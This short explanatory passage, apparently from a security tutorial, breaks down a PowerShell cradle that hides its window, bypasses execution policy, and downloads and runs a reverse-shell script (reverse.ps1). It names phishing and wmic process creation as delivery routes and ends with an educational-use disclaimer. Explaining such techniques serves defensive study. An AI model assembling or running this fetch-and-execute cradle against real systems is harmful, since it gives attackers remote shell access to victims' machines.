What This Does?

• NoP → No Profile (Speeds up execution)
• NonI → Non-Interactive Mode
• W Hidden → Hides the PowerShell Window
• Exec Bypass → Bypasses Execution Policy (Runs scripts without restrictions)
• IEX(New-Object Net.WebClient).DownloadString(...) → Downloads and executes reverse.ps1.

Attack Vector?

Delivered via Phishing and Script Execution. Could be embedded inside wmic process call create.

This is for education purpose please do not use for malicouse purposes.